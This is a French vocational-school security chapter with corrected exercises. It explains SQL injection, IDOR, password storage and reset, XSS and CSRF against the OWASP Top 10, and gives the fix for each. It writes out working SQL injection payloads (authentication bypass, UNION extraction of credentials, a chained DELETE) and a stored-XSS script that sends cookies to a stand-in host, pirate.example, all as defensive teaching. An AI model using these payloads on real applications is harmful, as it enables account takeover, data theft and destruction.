Chapitre 728 minIntermédiaire
Sécuriser du code : injection, contrôle d'accès, hachage
Par Josselyn C., prof de BTS SIO. Mis à jour le .
À la fin de ce chapitre, tu sauras
- situer une faille dans l'OWASP Top 10 ;
- expliquer une injection SQL et la corriger par une requête préparée ;
- corriger un contrôle d'accès défaillant côté serveur ;
- stocker les mots de passe avec password_hash et sécuriser leur réinitialisation ;
- neutraliser un XSS et bloquer un CSRF.
5 exercices corrigés2 schémas
Les questions de code à sécuriser te donnent un extrait de programme vulnérable (PHP, Java, C#, JavaScript) et te demandent de nommer la faille, d'expliquer comment un attaquant l'exploite, puis de modifier les lignes concernées. Trois failles dominent les sujets SLAM : l'injection SQL, le contrôle d'accès défaillant et le stockage faible des mots de passe ; le XSS et le CSRF les complètent. Ce chapitre les traite une par une, avec le code vulnérable, l'attaque et la correction.
Le référentiel : l'OWASP Top 10
L'OWASP (Open Worldwide Application Security Project) est une fondation qui publie des ressources libres sur la sécurité des applications. Son Top 10 classe les dix catégories de risques les plus critiques des applications Web. Le sujet 2026 s'appuie sur l'édition 2021, qu'il fournit dans le dossier documentaire avec des intitulés français ; les sujets 2025 n'en parlaient pas, mais tu peux t'en servir pour nommer une faille.
| Rang 2021 | Intitulé (version française du sujet 2026) | Exemple dans un sujet |
|---|---|---|
| A01 | Contrôles d'accès défaillants | modifier le document d'un autre client en changeant doc_id dans l'URL (2026) |
| A02 | Défaillances cryptographiques | mots de passe hachés en SHA-1 (2026), stockés en clair (2025) |
| A03 | Injection | saisie concaténée dans une requête SQL (2026) ; XSS stocké (2023) |
| A04 | Conception non sécurisée | aucune limite au nombre de tentatives de connexion |
| A05 | Mauvaise configuration de sécurité | message d'erreur qui affiche la requête SQL, commentaire HTML qui révèle un nom de table |
| A06 | Composants vulnérables et obsolètes | bibliothèque jamais mise à jour, avec une faille publiée |
| A07 | Identification et authentification de mauvaise qualité | jeton jamais expiré, mot de passe de six caractères accepté |
| A08 | Manque d'intégrité des données et du logiciel | dépendance installée sans vérification |
| A09 | Carence des systèmes de contrôle et de journalisation | aucune trace des actions sensibles (2025, Kirassur) |
| A10 | Falsification de requête côté serveur (SSRF) | le serveur télécharge une URL fournie par l'utilisateur |
L'injection SQL
Une injection SQL se produit quand une donnée saisie par l'utilisateur est collée dans le texte d'une requête : une apostrophe dans la saisie ferme la chaîne SQL, et la suite de la saisie devient du code exécuté par le SGBD.
Prenons une page de recherche dans les factures du client connecté :
1. $idClient = $_SESSION['idClient'];
2. $motCle = $_GET['q'];
3. $sql = "SELECT id, libelle, montant FROM facture
4. WHERE idClient = $idClient AND libelle LIKE '%$motCle%'";
5. $resultat = $pdo->query($sql);
Une recherche normale (Licence) produit … WHERE idClient = 7 AND libelle LIKE '%Licence%'. Voici ce que donnent deux saisies malveillantes, sachant que # ouvre un commentaire en MySQL :
| Saisie | Requête exécutée (fin de la requête) | Effet |
|---|---|---|
' OR 1=1 # | WHERE idClient = 7 AND libelle LIKE '%' OR 1=1 #%' | AND est évalué avant OR : la condition devient « (factures du client 7) ou vrai », toujours vraie. La page affiche les factures de tous les clients. |
' UNION SELECT id, login, empreinte FROM compte # | WHERE idClient = 7 AND libelle LIKE '%' UNION SELECT id, login, empreinte FROM compte #%' | aux factures du client s'ajoutent les lignes de la table compte : les identifiants et les empreintes de mot de passe s'affichent dans les colonnes « libellé » et « montant ». |
Le UNION ne fonctionne que si le second SELECT renvoie le même nombre de colonnes que le premier : c'est pourquoi les charges utiles complètent souvent avec des null (UNION SELECT null, username, password, null, null). Un attaquant peut aussi enchaîner une seconde requête après un point-virgule ('; DELETE FROM facture #) quand le pilote accepte plusieurs requêtes par appel, ce que fait PDO avec MySQL dans sa configuration par défaut.
La correction : la requête préparée. Le texte de la requête est envoyé au SGBD avec des marqueurs, analysé, puis les valeurs sont transmises séparément. Une valeur ne peut plus jamais devenir du code.
3. $sql = "SELECT id, libelle, montant FROM facture
4. WHERE idClient = :idClient AND libelle LIKE :motCle";
5. $stmt = $pdo->prepare($sql);
5a. $stmt->bindValue(':idClient', $idClient, PDO::PARAM_INT);
5b. $stmt->bindValue(':motCle', '%' . $motCle . '%', PDO::PARAM_STR);
5c. $stmt->execute();
5d. $resultat = $stmt->fetchAll(PDO::FETCH_ASSOC);
Les jokers % se mettent dans la valeur, pas dans la requête. La même logique s'écrit en Java avec PreparedStatement et setString, en C# avec SqlCommand et Parameters.AddWithValue, en Node.js avec les marqueurs ? de mysql2.
Trois mesures complètent la requête préparée : un compte de base aux privilèges minimaux (une injection ne pourra rien supprimer si le compte n'a pas DELETE), la désactivation des requêtes multiples, et des messages d'erreur génériques qui ne révèlent ni la requête ni les noms de tables. Pour les écrire toi-même : requêtes préparées avec PDO en PHP, requêtes préparées avec mysql2 en Node.js.
Retrouver le mode opératoire d'une attaque
Les sujets aiment faire reconstituer une attaque. En 2026, la table des documents d'un site client avait été vidée ; on demandait une charge utile capable de le faire, puis comment l'attaquant avait pu connaître le nom de la table. Les raisonnements attendus :
- la charge utile : fermer la chaîne, terminer la requête et en enchaîner une autre, puis commenter la fin, par exemple
sbegard'; DELETE FROM T_Docs #. Le dossier documentaire montrait justement un exemple de requête préparée multiple, ce qui confirmait que l'enchaînement était possible ; - la fuite du nom de la table : le formulaire de connexion contenait le commentaire HTML
<!-- Accès à l'espace client et aux documents de la table T_Docs -->. Un commentaire HTML est envoyé au navigateur : n'importe qui le lit en affichant le code source de la page. C'est une divulgation d'information (mauvaise configuration de sécurité) : les commentaires techniques restent dans le code serveur, jamais dans le HTML.
Le contrôle d'accès défaillant
Un contrôle d'accès défaillant permet à un utilisateur d'agir sur une donnée ou une fonction pour laquelle il n'a pas de droits. Sa forme la plus fréquente dans les sujets : un identifiant dans l'URL ou dans un champ caché, que l'utilisateur modifie pour atteindre la ressource d'un autre. On parle aussi de référence directe non sécurisée à un objet (IDOR, Insecure Direct Object Reference).
// modifier_facture.php : traitement du formulaire de modification
1. $idFacture = $_POST['idFacture']; // champ caché, rempli depuis l'URL
2. $libelle = $_POST['libelle'];
3. $stmt = $pdo->prepare("UPDATE facture SET libelle = :libelle WHERE id = :id");
4. $stmt->execute([':libelle' => $libelle, ':id' => $idFacture]);
La requête est préparée : pas d'injection. Mais rien ne vérifie que la facture appartient au client connecté. En remplaçant idFacture=101 par idFacture=103, le client 7 modifie la facture du client 8. Le serveur doit vérifier l'appartenance à chaque requête, côté serveur, quelle que soit la page d'où vient la demande :
3. $stmt = $pdo->prepare("UPDATE facture SET libelle = :libelle
3a. WHERE id = :id AND idClient = :idClient");
4. $stmt->execute([':libelle' => $libelle, ':id' => $idFacture,
4a. ':idClient' => $_SESSION['idClient']]);
4b. if ($stmt->rowCount() === 0) {
4c. http_response_code(403); // facture inexistante ou d'un autre client
4d. exit('Action non autorisée');
4e. }
L'identifiant du client vient de la session, jamais d'un paramètre envoyé par le navigateur. Une autre forme de correction, utilisée en 2026, consiste à vérifier que l'identifiant reçu figure dans la liste des documents de l'utilisateur connecté, déjà chargée par la page, avant d'exécuter la mise à jour.
Le stockage des mots de passe
Un mot de passe ne se stocke ni en clair, ni chiffré, ni avec une empreinte rapide. Il se stocke sous la forme d'une empreinte produite par une fonction de hachage lente et salée, conçue pour cet usage.
| Méthode | Problème | Verdict |
|---|---|---|
| En clair | lisible par quiconque accède à la base ou à une sauvegarde | interdit |
| Chiffré (AES) | réversible : qui vole la clé retrouve tous les mots de passe | inadapté |
| MD5, SHA-1 | fonctions cassées et très rapides ; des tables précalculées retrouvent les mots de passe courants | interdit |
| SHA-256 seul | robuste pour l'intégrité d'un fichier, mais trop rapide pour un mot de passe : un processeur graphique en teste des milliards par seconde ; sans sel, deux mots de passe identiques ont la même empreinte | inadapté |
| bcrypt, Argon2 | lents à dessein (paramètre de coût), avec un sel aléatoire différent pour chaque utilisateur, inclus dans l'empreinte | recommandé |
Le sel est une valeur aléatoire ajoutée au mot de passe avant le hachage. Il rend inutiles les tables précalculées et donne deux empreintes différentes à deux utilisateurs qui ont choisi le même mot de passe.
En PHP, deux fonctions suffisent :
// À l'inscription : password_hash calcule le sel et l'inclut dans l'empreinte
$empreinte = password_hash($motDePasse, PASSWORD_ARGON2ID); // ou PASSWORD_BCRYPT, PASSWORD_DEFAULT
// À la connexion : on lit l'empreinte du compte, puis on vérifie en PHP
$stmt = $pdo->prepare("SELECT id, empreinte FROM compte WHERE login = :login");
$stmt->execute([':login' => $login]);
$compte = $stmt->fetch(PDO::FETCH_ASSOC);
if ($compte && password_verify($motDePasse, $compte['empreinte'])) {
session_regenerate_id(true);
$_SESSION['idClient'] = $compte['id'];
}
Conséquence que les sujets testent : avec un sel aléatoire, deux appels à password_hash sur le même mot de passe donnent deux empreintes différentes. On ne peut donc plus comparer le mot de passe dans la requête SQL (WHERE login = … AND password = SHA1(…)). Il faut chercher le compte par son identifiant seul, puis appeler password_verify. Toute page qui vérifiait le mot de passe dans le WHERE doit être réécrite : c'était l'objet de la question B3.2 b) en 2026.
PASSWORD_ARGON2I et PASSWORD_ARGON2ID exigent un PHP compilé avec Argon2 ; PASSWORD_DEFAULT utilise aujourd'hui bcrypt, avec un coût par défaut de 12 depuis PHP 8.4. Les fonctions adaptées au stockage des mots de passe sont celles qui intègrent un sel et un facteur de coût : bcrypt, scrypt, Argon2 ou PBKDF2.
Le circuit complet (inscription, password_verify, régénération de session, jeton CSRF) est écrit pas à pas dans le chapitre Inscription et connexion en PHP.
Mot de passe oublié et politique de mots de passe
La réinitialisation d'un mot de passe oublié permet à un utilisateur de choisir un nouveau mot de passe sans connaître l'ancien : c'est une porte d'entrée aussi sensible que la connexion, car qui la détourne prend le compte. Deux sujets l'ont posée : en 2022 (cas Easy2Drive, question A.3.1), un mot de passe initial envoyé par courriel et conservé toute la formation ; en 2025 (cas Casterman, question D3.1), une procédure qui envoie par courriel le rappel de l'identifiant et un nouveau mot de passe. Le chapitre Politique de mots de passe du cours Authentification décrit la procédure sûre pas à pas, avec les recommandations de la CNIL et de l'ANSSI.
À la question « Identifier les deux problèmes de sécurité existant dans ce mode opératoire » (Casterman 2025), une réponse complète :
« Premier problème : le mot de passe circule en clair dans un courriel. La messagerie n'est pas un canal confidentiel : le message peut être intercepté, il reste stocké dans la boîte de réception et ses sauvegardes, et quiconque accède à la boîte le lit. Second problème : ce courriel contient à la fois l'identifiant et un mot de passe valable sans limite de durée, que le commerçant n'est pas obligé de changer : un seul message suffit pour prendre le compte, le jour même ou des mois plus tard. »
La procédure sécurisée attendue en deuxième partie suit les recommandations de la CNIL sur les mots de passe (délibération n° 2022-100 du 21 juillet 2022) :
- Un message identique dans tous les cas. Après la saisie de l'adresse : « Si un compte correspond à cette adresse, un courriel vient d'être envoyé. » Le site ne révèle pas quelles adresses ont un compte.
- Un lien, jamais un mot de passe. Le serveur génère un jeton aléatoire long et imprévisible (
random_bytes), n'en stocke que l'empreinte avec une date d'expiration, et envoie par courriel un lien HTTPS qui le contient. - Un lien à usage unique et de courte durée. La CNIL demande une expiration courte, « dans la plupart des cas de quelques heures et d'au plus de 24 heures », des liens « à usage unique », et que tout nouveau lien révoque les précédents.
- L'utilisateur choisit lui-même son nouveau mot de passe sur la page ouverte par le lien, conformément à la politique ; il est stocké avec
password_hash, le jeton est supprimé et les sessions ouvertes sont fermées. - Une notification prévient l'utilisateur que son mot de passe a été changé, pour qu'il réagisse si ce n'est pas lui.
// Demande de réinitialisation, après avoir trouvé le compte de l'adresse saisie
$jeton = bin2hex(random_bytes(32)); // 256 bits aléatoires, 64 caractères hexadécimaux
$pdo->prepare("DELETE FROM reinitialisation WHERE idCompte = :id")
->execute([':id' => $compte['id']]); // un nouveau lien révoque les précédents
$pdo->prepare("INSERT INTO reinitialisation (idCompte, empreinteJeton, expiration)
VALUES (:id, :empreinte, NOW() + INTERVAL 30 MINUTE)")
->execute([':id' => $compte['id'], ':empreinte' => hash('sha256', $jeton)]);
// Le courriel contient : https://exemple.fr/nouveau-mdp.php?jeton=<valeur de $jeton>
// À la soumission du nouveau mot de passe
$stmt = $pdo->prepare("SELECT idCompte FROM reinitialisation
WHERE empreinteJeton = :empreinte AND expiration > NOW()");
$stmt->execute([':empreinte' => hash('sha256', $_POST['jeton'] ?? '')]);
$demande = $stmt->fetch(PDO::FETCH_ASSOC); // false : lien invalide ou expiré
Pourquoi SHA-256 convient ici alors qu'il ne convient pas pour un mot de passe ? Parce que le jeton est un nombre aléatoire de 256 bits, impossible à deviner par essais : la lenteur de bcrypt ne sert à rien. Stocker son empreinte plutôt que le jeton évite qu'une fuite de la base donne des liens utilisables.
La politique de mots de passe. La même recommandation de la CNIL fixe la robustesse selon les autres protections en place :
| Situation | Robustesse minimale | Exemples donnés par la CNIL |
|---|---|---|
| Mot de passe seul | 80 bits d'entropie | 12 caractères avec majuscules, minuscules, chiffres et caractères spéciaux ; 14 caractères avec majuscules, minuscules et chiffres ; une phrase de passe de 7 mots |
| Mot de passe et restriction d'accès au compte (temporisation après plusieurs échecs, blocage après au plus 10 échecs, captcha) | 50 bits | 8 caractères avec 3 des 4 catégories ; une phrase de passe de 5 mots |
| Code de déverrouillage d'un matériel détenu par la personne (carte à puce) | 13 bits | 4 chiffres, avec blocage après au plus 3 échecs |
Elle ajoute : refuser les mots de passe les plus courants, ne pas interdire de coller un mot de passe dans le champ de saisie (pour permettre les gestionnaires de mots de passe), ne plus imposer de renouvellement périodique à l'ensemble des utilisateurs, mais le maintenir pour les comptes d'administration et imposer un changement immédiat en cas de compromission.
Le sujet 2024 (cas GSIC, question C1.1) demandait « contre quel type d'attaque un mot de passe à 8 caractères est plus protecteur qu'un code PIN à 4 chiffres ». Réponse : contre une attaque par force brute, qui essaie toutes les combinaisons. Un code de 4 chiffres n'en a que 10⁴ = 10 000 ; 8 caractères parmi les 62 lettres et chiffres en donnent 62⁸, environ 218 000 milliards. Un code PIN n'est acceptable que sur un matériel détenu par la personne, qui se bloque après quelques essais.
Le XSS
Le cross-site scripting (XSS) est une injection de code JavaScript dans une page : une saisie contenant <script> est réaffichée sans être neutralisée, et le navigateur des visiteurs l'exécute (vol de cookie de session, redirection, faux formulaire).
| Variante | Mécanisme | Portée |
|---|---|---|
| XSS stocké | le script est enregistré en base (un avis, un commentaire) puis affiché à chaque visiteur | tous les visiteurs de la page, sans action particulière |
| XSS reflété | le script est dans l'URL et renvoyé tel quel dans la réponse | seulement la victime qui clique sur le lien piégé |
C'est pourquoi le sujet 2023 (cas Lama Zoo) faisait expliquer qu'un XSS stocké touche plus de visiteurs qu'un XSS reflété. La parade principale est l'échappement à l'affichage : en PHP, htmlspecialchars($valeur, ENT_QUOTES, 'UTF-8') transforme < en <, et le navigateur affiche le texte au lieu de l'exécuter. Les moteurs de gabarits (Twig, Blade) et React échappent par défaut. On ajoute une validation à l'entrée (longueur, format) et un en-tête Content-Security-Policy qui interdit les scripts en ligne.
// Vulnérable
<td><?php echo $avis['commentaire'] ?></td>
// Corrigé
<td><?php echo htmlspecialchars($avis['commentaire'], ENT_QUOTES, 'UTF-8') ?></td>
Le CSRF
Le cross-site request forgery (CSRF) fait exécuter une action à un utilisateur connecté, à son insu : une page piégée envoie un formulaire vers le site où il est authentifié, et son navigateur joint automatiquement son cookie de session. Exemple : un lien qui déclenche un virement ou un changement d'adresse électronique.
Les parades : un jeton anti-CSRF aléatoire, stocké dans la session et inséré dans chaque formulaire, vérifié par le serveur à chaque requête qui modifie des données ; l'attribut SameSite=Lax ou Strict sur le cookie de session ; ne jamais modifier de données avec une requête GET. Les frameworks (Symfony, Laravel, CodeIgniter) fournissent le jeton. Le sujet 2023 faisait constater qu'une API appelée par d'autres applications ne pouvait pas envoyer ce jeton : il fallait exclure ses routes du filtre CSRF et l'authentifier autrement, par une clé ou un jeton d'API.
Les autres failles à savoir nommer
- Identifiants en dur dans le code : un mot de passe de base de données écrit dans un fichier PHP (sujet 2026, document A2). Il finit dans le dépôt Git et chez chaque développeur. Parade : variables d'environnement ou coffre-fort de secrets, fichier exclu du dépôt.
- Messages d'erreur détaillés : une erreur SQL affichée à l'écran révèle la structure de la base. Parade : message générique pour l'utilisateur, détail dans le journal.
- Téléversement de fichiers : un fichier PHP envoyé à la place d'un plan peut s'exécuter sur le serveur. Parade : liste blanche d'extensions et de types, taille maximale, nom régénéré, stockage hors de la racine Web.
- Composants obsolètes : une dépendance avec une faille publiée. Parade : inventaire,
composer auditounpm audit, mises à jour régulières. - Absence de limite de tentatives : un formulaire de connexion qui accepte un nombre illimité d'essais permet une attaque par force brute. Parade : limitation du débit, temporisation croissante, authentification multifacteur.
Le cours Sécurité des applications reprend ces failles avec des exemples dans plusieurs langages.
Pour aller plus loin. Chaque faille a son chapitre dans le cours Sécurité applicative : injections, contrôle d'accès, XSS, CSRF ; le stockage des mots de passe est expliqué dans le chapitre Stocker un mot de passe du cours Cryptographie.
Exercices
Exercice 1 sur 5 Analyser une connexion vulnérable Réussi À revoir
Voici l'extrait d'une page de connexion :
1. $login = $_POST['login'];
2. $mdp = md5($_POST['mdp']);
3. $sql = "SELECT id, role FROM utilisateur WHERE login = '$login' AND mdp = '$mdp'";
4. $res = $pdo->query($sql);
5. $user = $res->fetch();
6. if ($user) { $_SESSION['id'] = $user['id']; $_SESSION['role'] = $user['role']; }
7. else { echo "Erreur SQL : " . $pdo->errorInfo()[2]; }
- Identifie trois failles, avec leur catégorie de l'OWASP Top 10 2021.
- Écris la saisie qui permet de se connecter avec le compte
adminsans connaître son mot de passe, et la requête exécutée. - Réécris les lignes 2 à 7.
Voir la réponseMasquer la réponse de l'exercice 1
-
- Injection SQL (A03), lignes 1 et 3 :
$loginest concaténé dans la requête. - Défaillance cryptographique (A02), ligne 2 : MD5 est une fonction cassée, rapide et sans sel.
- Mauvaise configuration de sécurité (A05), ligne 7 : le message d'erreur du SGBD est affiché à l'utilisateur et peut révéler la structure de la requête.
- Injection SQL (A03), lignes 1 et 3 :
-
Saisie dans le champ login :
admin' #. Requête exécutée :SELECT id, role FROM utilisateur WHERE login = 'admin' #' AND mdp = '…'. Tout ce qui suit#est en commentaire : la condition sur le mot de passe disparaît et la requête renvoie le compteadmin. -
Le code corrigé :
2. $stmt = $pdo->prepare("SELECT id, role, mdp FROM utilisateur WHERE login = :login"); 3. $stmt->execute([':login' => $login]); 4. $user = $stmt->fetch(PDO::FETCH_ASSOC); 5. if ($user && password_verify($_POST['mdp'], $user['mdp'])) { 6. session_regenerate_id(true); 7. $_SESSION['id'] = $user['id']; $_SESSION['role'] = $user['role']; 8. } else { 9. echo "Identifiant ou mot de passe incorrect."; // message générique 10. }Les empreintes existantes en MD5 doivent être migrées : on peut, par exemple, les remplacer à la prochaine connexion réussie, ou forcer une réinitialisation des mots de passe.
Tu avais trouvé ?
Exercice 2 sur 5 Une modification sans contrôle Réussi À revoir
Dans une application de gestion de congés, la page annuler.php?id=58 annule la demande de congé n° 58. Le code :
1. $id = (int) $_GET['id'];
2. $stmt = $pdo->prepare("UPDATE demande SET statut = 'ANNULEE' WHERE id = :id");
3. $stmt->execute([':id' => $id]);
- Ce code est-il vulnérable à l'injection SQL ? Justifie.
- Quelle faille contient-il ? Décris une attaque.
- Corrige-le. L'identifiant du salarié connecté est dans
$_SESSION['idSalarie']; la tabledemandea une colonneidSalarie. - Quelle autre faiblesse présente l'usage d'une requête
GETpour cette action ?
Voir la réponseMasquer la réponse de l'exercice 2
-
Non. La requête est préparée avec un marqueur lié, et l'identifiant est en plus converti en entier.
-
Contrôle d'accès défaillant (A01). Un salarié connecté remplace
id=58parid=59,60… et annule les demandes de ses collègues : rien ne vérifie que la demande lui appartient. -
Le code corrigé :
2. $stmt = $pdo->prepare("UPDATE demande SET statut = 'ANNULEE' WHERE id = :id AND idSalarie = :idSalarie"); 3. $stmt->execute([':id' => $id, ':idSalarie' => $_SESSION['idSalarie']]); 4. if ($stmt->rowCount() === 0) { http_response_code(403); exit('Action non autorisée'); } -
Une action qui modifie des données ne doit pas passer par
GET: un lien ou une image piégée sur un autre site suffit à la déclencher pour un salarié connecté (CSRF). Il faut une requêtePOSTavec un jeton anti-CSRF.
Tu avais trouvé ?
Exercice 3 sur 5 XSS stocké Réussi À revoir
Un site d'avis affiche les commentaires avec echo $c['texte'];. Un visiteur publie : <script>fetch('https://pirate.example/?c=' + document.cookie)</script>.
- Que se passe-t-il pour les visiteurs suivants ?
- Corrige l'affichage. Cite deux mesures complémentaires.
Voir la réponseMasquer la réponse de l'exercice 3
- Le script est enregistré en base puis renvoyé dans la page de chaque visiteur, dont le navigateur l'exécute : leur cookie est envoyé au serveur de l'attaquant, qui peut voler leur session si le cookie n'est pas protégé. C'est un XSS stocké : il touche tous les visiteurs de la page.
echo htmlspecialchars($c['texte'], ENT_QUOTES, 'UTF-8');. Mesures complémentaires : l'attributHttpOnlysur le cookie de session (inaccessible depuis JavaScript), un en-têteContent-Security-Policyqui interdit les scripts en ligne, une validation de la longueur et du contenu à l'enregistrement.
Tu avais trouvé ?
Exercice 4 sur 5 Une réinitialisation à revoir Réussi À revoir
Voici la procédure de mot de passe oublié d'un site de réservation :
-
si l'adresse saisie est inconnue, le site affiche « Aucun compte n'est associé à cette adresse » ;
-
sinon, il génère un code avec
rand(100000, 999999), l'enregistre en clair dans la tablecompteet l'envoie par courriel ; -
le code reste valable sept jours et peut servir plusieurs fois ;
-
le formulaire de saisie du code accepte un nombre illimité d'essais.
- Combien de codes différents
rand(100000, 999999)peut-il produire ? - Relève quatre faiblesses de cette procédure et propose une correction pour chacune.
Voir la réponseMasquer la réponse de l'exercice 4
- De 100 000 à 999 999 inclus : 999 999 − 100 000 + 1 = 900 000 codes. Avec des essais illimités, un script les teste tous en quelques heures.
-
- Le message révèle l'existence des comptes (énumération) : afficher toujours « Si un compte correspond à cette adresse, un courriel vient d'être envoyé ».
- Le code est trop court et
rand()n'est pas un générateur cryptographique : utiliser un jeton long issu derandom_bytes(32), envoyé dans un lien HTTPS. - Le code est stocké en clair : stocker seulement son empreinte (
hash('sha256', $jeton)), pour qu'une fuite de la base ne donne pas de liens utilisables. - Validité de sept jours et usage multiple : expiration courte (quelques heures, 24 heures au plus selon la CNIL), usage unique, et révocation des liens précédents à chaque nouvelle demande.
Tu avais trouvé ?
Exercice 5 sur 5 Une politique conforme ? Réussi À revoir
Une application Web accessible depuis Internet impose des mots de passe de 10 caractères avec au moins une majuscule, une minuscule et un chiffre. Elle n'a aucune limite de tentatives.
- Calcule l'entropie maximale d'un mot de passe de 10 caractères choisis parmi les 62 lettres et chiffres (log₂ 62 ≈ 5,95).
- La politique respecte-t-elle la recommandation de la CNIL ? Propose deux façons de la rendre conforme.
Voir la réponseMasquer la réponse de l'exercice 5
- 10 × 5,95 ≈ 59,5 bits.
- Non. Sans restriction d'accès au compte, la CNIL demande 80 bits, par exemple 14 caractères avec majuscules, minuscules et chiffres, ou 12 avec en plus des caractères spéciaux. Deux solutions :
- allonger les mots de passe : 14 caractères au moins avec majuscules, minuscules et chiffres (environ 83 bits) ;
- ajouter une restriction d'accès (temporisation croissante après plusieurs échecs, blocage après 10 échecs au plus, captcha) : le seuil devient 50 bits, que les 59,5 bits de la politique actuelle dépassent.
Tu avais trouvé ?